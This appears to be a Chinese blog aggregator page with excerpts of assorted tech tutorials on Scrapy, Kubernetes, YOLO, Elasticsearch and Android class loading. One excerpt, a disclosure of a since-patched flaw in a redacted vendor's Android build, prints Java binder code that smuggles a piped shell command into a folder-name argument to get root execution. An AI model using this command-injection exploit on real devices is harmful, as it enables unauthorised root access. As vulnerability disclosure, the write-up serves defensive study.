首页 文章 精选 留言 我的

精选列表

搜索[微信生态上云方案],共10000篇文章
优秀的个人博客,低调大师

手把手教你如何新建scrapy爬虫框架的第一个项目(上)

前几天给大家分享了如何在Windows下创建网络爬虫虚拟环境及如何安装Scrapy还有Scrapy安装过程中常见的问题总结及其对应的解决方法感兴趣的小伙伴可以戳链接进去查看。关于Scrapy的介绍之前也在文章中提及过今天小编带大家进入Scrapy爬虫框架创建Scrapy爬虫框架的第一个项目具体过程如下所示。 1、进入虚拟环境不知道进入的环境的小伙伴可以戳这篇文章在Windows下如何创建指定的虚拟环境和在Windows下如何创建虚拟环境默认情况下。进入到环境之后可以通过“pip list”命令查看Scrapy是否安装成功如下图所示。 可以看到Scrapy已经安装成功。 2、这里小编欲将Scrapy项目放到demo文件夹下所以先退回到上级目录中去如下图所示。 3、尔后开始新建Scrapy项目输入创建Scrapy爬虫项目命令“scrapy s

优秀的个人博客,低调大师

SpringBoot应用和PostgreSQL数据库部署到Kubernetes上的一个例子

创建一个名为ads-app-service的服务: 上述Service的yaml文件里每个字段,在Kubernetes的API文档里有详细说明。 https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.12/#servicespec-v1-core 如何找到这个url呢? Reference->API Reference->v1.12: 比如Service yaml文件里Spec区域需要出现的字段,每个字段在帮助文档里有详细说明: Spec部分的子区域ports可以定义多个port,通过符号"-"代表一个类似数组的结构: ports数组里每个元素包含的字段: name nodePort port protocol targetPort 用kubectl create -f

优秀的个人博客,低调大师

10分钟学会使用YOLO及Opencv实现目标检测(上)|附源码

计算机视觉领域中,目标检测一直是工业应用上比较热门且成熟的应用领域,比如人脸识别、行人检测等,国内的旷视科技、商汤科技等公司在该领域占据行业领先地位。相对于图像分类任务而言,目标检测会更加复杂一些,不仅需要知道这是哪一类图像,而且要知道图像中所包含的内容有什么及其在图像中的位置,因此,其工业应用比较广泛。那么,今天将向读者介绍该领域中表现优异的一种算算法——“你只需要看一次”(you only look once,yolo),提出该算法的作者风趣幽默可爱,其个人主页及论文风格显示了其性情,目前该算法已是第三个版本,简称YoLo V3。闲话少叙,下面进入教程的主要内容。在本教程中,将学习如何使用YOLO、OpenCV和Python检测图像和视频流中的对象。主要内容有: 简要讨论YOLO算法; 使用YOLO、OpenCV、Python进行

优秀的个人博客,低调大师

上:Spark VS Flink – 下一代大数据计算引擎之争,谁主沉浮?

导读: 做大数据绝对躲不过的一个热门话题就是实时流计算,而提到实时流计算,就不得不提 Spark 和 Flink。Spark 从 2014 年左右开始迅速流行,刚推出时除了在某些场景比 Hadoop MapReduce 带来几十到上百倍的性能提升外,还提出了用一个统一的引擎支持批处理、流处理、交互式查询、机器学习等常见的数据处理场景。凭借高性能和全面的场景支持,Spark 早已成为众多大数据开发者的最爱。 正在 Spark 如日中天高速发展的时候,2016 年左右 Flink 开始进入大众的视野并逐渐广为人知。在人们开始使用 Spark 之后,发现 Spark 虽然支持各种常见场景,但并不是每一种都同样好用。数据流的实时处理就是其中相对较弱的一环。Flink 凭借更优的流处理引擎,同时也支持各种处理场景,成为 Spark 的有力挑战

优秀的个人博客,低调大师

关注厂商系统安全,看我如何在某厂商 7.11上获取root权限(已经修复)

0x00 前言 国内手机厂商崛起,虽然用的是谷歌的android系统,但是大部分都会在框架层做很大的改动,他们的安全意识一般不够,因此系统漏洞非常多,一挖一大堆。某厂商在170721的时候发布了7.11的系统,那个时候导出了一个系统组件,系统校验不严格,导致我们可以提升到root权限并且执行任意代码,由于在170802版本的时候就已经修复了,也没什么价值了,所以我就把这个漏洞当例子,抛砖引玉。 0x01 漏洞起因(敏感词已经用xxxx代替) 组件导出 <service android:exported="true" android:name="com.xxxxx.cloud.agent.gallery.GallerySyncAgent"> <intent-filter> <action android:name="com.xxxxx.cloud.xxxxx_SYNC_MODULE"/> <category android:name="android.intent.category.default"/> </intent-filter> </service> 发现是个binder接口,可以通过AIDL远程调用里面的方法 createFolder里面特殊字符校验不严格,可以通过shell管道字符|绕过 比如,构造mkdir -p /data/local/tmp/mm | cmd 就可以绕过字符串过滤,并且在创建/data/local/tmp/mm的同时执行后面的cmd命令 RUtils.RUtilsCmd执行的是root命令,宿主是一个系统服务,有严格的权限校验。 需要系统签名 需要权限声明: <uses-permission android:name="com.xxx.permission.RUTILCMD"/> 0x02 漏洞利用 1、构造Intent bindService 到GallerySyncAgent 这个组件 2、通过shell 的| 字符,绕过命令校验,并且执行任意代码,构造字符串"/data/local/tmp/mm | rm -rf /data/local/tmp/mm | "+cmd 后面的cmd就是任意命令了 boolean v2 = false; Parcel v0 = Parcel.obtain(); Parcel v1 = Parcel.obtain(); try { v0.writeInterfaceToken("com.xxxx.cloud.agent.gallery.ISyncOcloud"); v0.writeString("/data/local/tmp/mm | rm -rf /data/local/tmp/mm | "+cmd); binder.transact(15, v0, v1, 0); v1.readException(); Log.e(TAG, "onServiceConnected: "+v1.readInt()); return v1.readInt() == 1 ?true : false; } catch(Throwable v3) { v1.recycle(); v0.recycle(); throw v3; } 最后可以在uid=0(root) gid=0(root) groups=0(root) context=u:r:rutilsdaemon:s0这个进程里面执行任意命令 0x03 修复 加上了android:permission="xxxx.permission.xxxx_COMPONENT_SAFE 系统权限校验 <service android:exported="true" android:name="com.xxxx.cloud.agent.gallery.GallerySyncAgent" android:permission="xxxx.permission.xxxx_COMPONENT_SAFE"> <intent-filter> <action android:name="com.xxxx.cloud.xxxx_SYNC_MODULE"/> <category android:name="android.intent.category.default"/> </intent-filter> </service> 0x04 总结 这是一种非常经典的漏洞,在用AIDL设计跨进程通讯的时候,没有严格的校验,而且在过滤特殊字符的时候,没有严格过滤,最终一步步导致权限提升。

优秀的个人博客,低调大师

环境搭建-在Windows Server 2012 R2上搭建单机版Elasticsearch+Kibana

准备工作 下载Elasticsearch Elasticsearch可以直接从官网(https://www.elastic.co/downloads/elasticsearch)进行下载,我下载的是6.3.0版本的zip包 下载Elasticsearch.png 下载Kibana Kibana也可以直接从官网(https://www.elastic.co/downloads/kibana)进行下载,我下载的是支持Windows的6.3.1版本 下载Kibana.png 安装Elasticsearch 解压zip包 解压后目录.png 配置Elasticsearch 【elasticsearch.yml】:这个是Elasticsearch的配置文件,这里搭建的是单机版,如果需要外部机器能访问,需要修改网络配置,将【network.host】配置为【0.0.0.0】; image.png 【jvm.options】:Java虚拟机配置,这里可以根据自己的需要修改堆栈的大小: 修改堆大小.png 另外的配置的文件就是日志,用户和角色相关的。 启动Elasticsearch 运行【bin】目录下的【elasticsearch.bat】 bin.png 启动.png 运行完后在浏览器中输入【 http://localhost:9200/】出现如下界面证明启动成功 localhost:9200.png 安装Kibana 将下载好的zip包解压,这个解压过程会比较久,出现未响应也不要去结束任务,因为文件数非常多; Kibana.png 配置Kibana 修改【config】文件夹下的【kibana.yml】文件,配置【elasticsearch.url】属性 image.png 启动Kibana 双击运行【bin】目录下【kibana.bat】 image.png 运行完成后在浏览器中输入【 http://localhost:5601】,看到如下界面: image.png 启动成功。

优秀的个人博客,低调大师

Stanford CS231n实践笔记(课时14卷积神经网络详解 上)

本课我们主要来研究一个“浏览器中的卷积神经网络” 这只是一个展示项目,但是能够帮助直观地看到一些东西 地址:https://cs.stanford.edu/people/karpathy/convnetjs/demo/cifar10.html layer_defs = [];layer_defs.push({type:'input', out_sx:32, out_sy:32, out_depth:3});layer_defs.push({type:'conv', sx:5, filters:16, stride:1, pad:2, activation:'relu'});layer_defs.push({type:'pool', sx:2, stride:2});layer_defs.push({type:'conv', sx:5, filters:20, stride:1, pad:2, activation:'relu'});layer_defs.push({type:'pool', sx:2, stride:2});layer_defs.push({type:'conv', sx:5, filters:20, stride:1, pad:2, activation:'relu'});layer_defs.push({type:'pool', sx:2, stride:2});layer_defs.push({type:'softmax', num_classes:10});net = new convnetjs.Net();net.makeLayers(layer_defs); 网络的构造就是conv-pool-conv-pool这样的过程。 原始图片输入 第一层卷积 和relu 第一层pool 可以返现,图片的大小降低明显 第二次 第三次 最后,全连接并softmax 结束了。基本能够理解。 可以预见的一点是,在这样一个发展迅速的时代,拥有数据分析背景、能力,特别是深度学习技术,将使工程师具备价值。要想办法克服显示的瓶颈,成为这样的人。毕竟,真正的牛人是创造规则的。 来自为知笔记(Wiz) 目前方向:图像拼接融合、图像识别 联系方式:jsxyhelu@foxmail.com

优秀的个人博客,低调大师

YC最新DemoDay上的21个AI项目,我们盘点了一遍 | 创业必读

本文来自AI新媒体量子位(QbitAI) 全球最知名的孵化器Y Combinator,近日举行了最新一期的DemoDay(第24次),人工智能成为最热门的标签之一。 这批103个项目从7200多家创业公司中挑选而来,来自22个国家和地区。 根据量子位的统计,此次DemoDay共有21个人工智能创业项目。主要分布于医疗、金融、NLP、语音识别、计算机视觉等不同的行业和领域。人工智能热潮的裹挟下,创业已经越来越跟人工智能相关,希望这次DemoDay能对国内创业者有所启示。 YC的DemoDay堪称是创业领域的风向标之一,从YC孵化出来的创业项目包括Airbnb、Dropbox等。YC创始人是保罗-格雷厄姆,现任CEO是Sam Altman。 以下是这21个AI创业项目: Vinsight(农作物产量预测) Vinsight使用机器学习、卫星图像、天

优秀的个人博客,低调大师

Android应用开发提高系列(4)——Android动态加载(上)——加载未安装APK中的类

正文 一、前提 目的:动态加载SD卡中Apk的类。 注意:被加载的APK是未安装的。 相关:本文是本博另外一篇文章:Android动态加载jar/dex的升级版。 截图: 成功截图: 二、准备 准备被调用Android工程:TestB ITest public interfaceITest{ StringgetMoney(); } TestBActivity public classTestBActivity extendsActivity implementsITest{ /** Calledwhentheactivityisfirstcreated. */ @Override public voidonCreate(BundlesavedInstanceState){ super.onCreate(savedInstanceState); setContentView(R.layout.main); } @Override publicStringgetMoney(){ return"1"; } } 代码说明:很简单的代码。将生成后的TestB.apk拷贝到SD卡的根目录下。 三、调用 调用工程TestA public classTestAActivity extendsActivity{ /** Calledwhentheactivityisfirstcreated. */ @Override public voidonCreate(BundlesavedInstanceState){ super.onCreate(savedInstanceState); setContentView(R.layout.main); Stringpath=Environment.getExternalStorageDirectory()+"/"; Stringfilename="TestB.apk"; DexClassLoaderclassLoader= newDexClassLoader(path+filename,path, null,getClassLoader()); try{ ClassmLoadClass=classLoader.loadClass("com.nmbb.TestBActivity"); Constructorconstructor=mLoadClass.getConstructor( newClass[]{}); ObjectTestBActivity=constructor.newInstance( newObject[]{}); MethodgetMoney=mLoadClass.getMethod("getMoney", null); getMoney.setAccessible( true); Objectmoney=getMoney.invoke(TestBActivity, null); Toast.makeText( this,money.toString(),Toast.LENGTH_LONG).show(); } catch(ClassNotFoundExceptione){ e.printStackTrace(); } catch(SecurityExceptione){ e.printStackTrace(); } catch(NoSuchMethodExceptione){ e.printStackTrace(); } catch(IllegalArgumentExceptione){ e.printStackTrace(); } catch(InstantiationExceptione){ e.printStackTrace(); } catch(IllegalAccessExceptione){ e.printStackTrace(); } catch(InvocationTargetExceptione){ e.printStackTrace(); } } } 执行的时候可以发现会自动生成TestB.dex文件。动态加载方面还可以搜索一下"Java动态加载"方面的资料,很有参考价值。可以发现比Android动态加载jar/dex使用起来方便得多。 四、下载 TestA.zip TestB.zip 五、注意 6.1 别忘了加上SDCARD的写权限: android.permission.WRITE_EXTERNAL_STORAGE 6.2 同样注意,不要再两个工程包含package和名称相同的接口,否则报错。(参见Android动态加载jar/dex的后期维护) 六、扩展阅读 探秘腾讯Android手机游戏平台之不安装游戏APK直接启动法 (强烈推荐:QQ游戏动态调用Activity的方法:通过ClassLoader,loadClass Activity类,然后分别在主工程的onDestroy、onKeyDown、onPause、onRestart、onResume等生命周期方法中反射调用(Method、invoke)子工程的类方法来模拟实现整个生命周期。此外巧妙的通过解压缩APK文件来获取游戏的资源) Android中文Wiki:DexFile 七、缺点 6.1 由于是使用反射,无法取得Context,也就是TestBActivity与普通的类毫无区别,没有生命周期。 八、推荐 Android版 程序员专用搜索 结束 忙着换工作、忙着把翻译组转动Wiki平台、忙着推广翻译组...忙这忙那的,博客已经有近2个月没有写Android方面的文章,终于又可以回来,继续挤时间来写博客,与大家一同探讨与分享。 本文转自over140 51CTO博客,原文链接:http://blog.51cto.com/over140/844928,如需转载请自行联系原作者

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

WebStorm

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。

用户登录
用户注册